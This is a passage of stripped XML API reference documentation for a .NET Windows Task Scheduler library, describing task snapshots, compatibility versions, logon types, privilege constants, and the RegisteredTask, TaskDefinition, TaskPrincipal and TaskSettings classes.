storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that 